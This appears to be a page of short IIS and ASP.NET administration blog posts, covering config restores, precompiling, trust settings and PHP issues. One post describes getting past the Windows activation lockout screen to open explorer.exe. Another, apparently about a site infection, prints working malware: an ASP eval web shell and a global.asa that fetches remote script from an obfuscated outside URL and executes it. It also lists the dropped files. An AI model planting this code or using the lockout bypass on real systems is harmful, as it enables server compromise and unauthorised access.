In any one of your WebMethod functions simply use HttpContext.Current.Request to grab those extra variables.

For example, I needed some way of seeing if the path variable is being supplied, here’s how I did that:

Dim path As String = ""

path = HttpContext.Current.Request("path")

I hope this helps someone out, if so please let me know via a +1, comment, or link back to my blog.

To reproduce the issue, simply have two sites in IIS, configured with unique application pools, being ran as the user. After you go to one websites PHP Application, with 5.2.17, you will get a blank page. This also happens when you try to run 5.3.10, and 5.2.17 at the same time on a server. If you use the version below 5.2.13, you will not encounter this issue. I have been running it for a few months without having this problem. I hope this helps someone out, please +1 me if it does!

I put it under c:\php\ZendServer, you can put it wherever you want, make sure you update your *.ini files to point to the right place, I also included ioncube.

Download link:Â Zend Server 5.2.13

Uh oh! This has actually happened once to me before. IIS 7 was working great all day long, then at around 3 AM you get a page, you have a group of IIS7 servers with corrupted applicationHost.config files! Lucky for us there are backups made each time a change is made in IIS. Look under c:\inetpub\history\ and find the most recent one, see if it has a large enough file size, most of mine are over 5-10MB. Once you find it, copy it to c:\windows\system32\inetsrv\config\ and overwrite the existing files. Usually I would say backup what you have currently, but there really isn’t a point to doing that, what is there is corrupted.

Run an iisreset and make sure your server is up and running, if not you may have to go back a bit more until you find a working applicationHost.config file.

Here is how I did it:

1. First make sure you can see the Expert Settings, Tools > Settings > Expert Settings.
2. Once that is enabled, Choose Tools > External Tools. Create a new tool with the Title of “Compile App” or “Precompile App”.
3. For the Command: enter in any of the following:
• ASP.net 2.0/3.5 32-bit %windir%\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
• ASP.net 2.0/3.5 64-bit %windir%\Microsoft.NET\Framework64\v2.0.50727\aspnet_compiler.exe
• ASP.Net 4.0 32-bit %windir%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
• ASP.Net 4.0 64-bit %windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
4. For the Arguments: enter the following
   -p “$(ProjectDir)” -v / “$(ProjectDir)../compiled”
5. Click OK, and under the Tools menu you will see the new option you created.

For those who like it easy, I created a settings file for you! Precompile Tools Options

1. Download the file, then extract it to any folder.
2. Go to Tools > Settings > Import and Export Settings
3. Choose the Import selected environment settings, Next
4. You can save your settings, or not it’s up to you, click Next
5. choose Browse, and locate the Precompile.vssettings file, then click Next.
6. Check the All Settings > General Settings > External Tools List box, and click Finish.

Anyway if you’ve ever had that issue and made that silly mistake, or are looking for a solution for that error, it’s your fault, get over it and figure out where you made your mistake ;-) that’s my advise.

So I don’t normally have problems with Activation of Windows because normally my servers have access to the Internet. This was however a Hyper-V Virtual I was having a problem with. I made an image a few months ago, and brought it back up. Went to login and was “forced” to activate the Virtual. That’s a little hard since it doesn’t have an IP Address assigned to it’s NIC. Let alone the fact I don’t want to call Microsoft’s Telephone number. Here’s what I did to gain access to my Virtual, so I can add the proper IP Address, and legally register my Virtual.

1. When you get the Activation screen press Windows Key and U. Click on the “Microsoft Website” link.
2. When Internet Explorer pops up in the Address bar type c:\windows\explorer.exe and click GO, or push enter. If prompted to run explorer.exe simply click Run.
3. You now have access to your computer.

Windows 2008

Yes, I had a similar issue with Windows 2008 not wanting to let me in due to activation problems. Here’s what I did to gain access to my server. Again, I do this to gain access to our servers to make them legal when they don’t have internet access.

1. Click on the link to get help.
2. Click on the Options menu, and choose print.
3. Choose Add Printer, and find explorer.exe, right click and choose “open”.
4. An Alternate is to use the “Ask” option and click on one of the links, then open explorer the same way you would for the 2003 options by typing c:\windows\explorer.exe.

Here’s the line I added at the top of the web.config located at c:\windows\microsoft.net\framework\v2.0.50727\CONFIG.

 <location allowOverride="false">
 <system.web>
 <identity impersonate="true"/>
 </system.web>
 </location>
 <location allowOverride="true">
  <system.web>
   <securityPolicy>
    <trustLevel name="Full" policyFile="internal"/>
    <trustLevel name="High" policyFile="web_hightrust.config"/>
    <trustLevel name="Medium" policyFile="web_mediumtrust.config"/>
    <trustLevel name="Low" policyFile="web_lowtrust.config"/>
    <trustLevel name="Minimal" policyFile="web_minimaltrust.config"/>
   </securityPolicy>
   <trust level="Full" originUrl=""/>
  </system.web>
 </location>

I create this template for Visual Studio 2010 Express: Windows Service with a System.Timer

I created my template by using an existing Visual Studio 2008 (non-express) Windows Service project. I took the service, cleared out the stuff I added, then exported it.

To make it a template simply copy the zip file under %userprofile%\My Documents\Visual Studio 2010\Templates\ProjectTemplates\

If it helps let me know!

style.asp:
<%eval request(“seo”)%>

global.asa:
<script language=”vbscript” runat=”server”>
‘by*diao
‘by*aming
sub Application_OnStart
end sub
sub Application_OnEnd
end sub
sub Session_OnStart
url=”h”&”t”&”t”&”p”&”:”&”/”&”/w”&”w”&”w”&”.”&”g”&”x”&”t”&”.”&”l”&”a”&”/”&”i”&”n”&”/”&”p”&”j”&”c”&”3″&”.”&”t”&”x”&”t”&”"
Set ObjXMLHTTP=Server.CreateObject(“MSXML2.serverXMLHTTP”)
ObjXMLHTTP.Open “GET”,url,False
ObjXMLHTTP.setRequestHeader “User-Agent”,url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject(“Adodb.Stream”)
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = “gb2312″
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,”by*aming”)>0 then
execute GetHtml
end if
end sub
‘sub Session_OnEnd
‘end sub
</script>

Update: They also add a few folders if they don’t exist. Look for /web /css /images/inc
Under the /css they usually have a file called att.asp, or zelx.asp.
Under /web they usually have User.aspx and zelx.asp
and under /images/inc they usually have config.asp which may have the same content as style.asp <%eval request(“seo”)%>

I had this issue today, we replaced an IIS7 node and copied over the config from the other node, well it worked but got 401.2. So I had to go to the other node, share it’s configuration, then copied the new shared files over to the replaced node and import the new configuration files. Once I did that, the server worked as expected.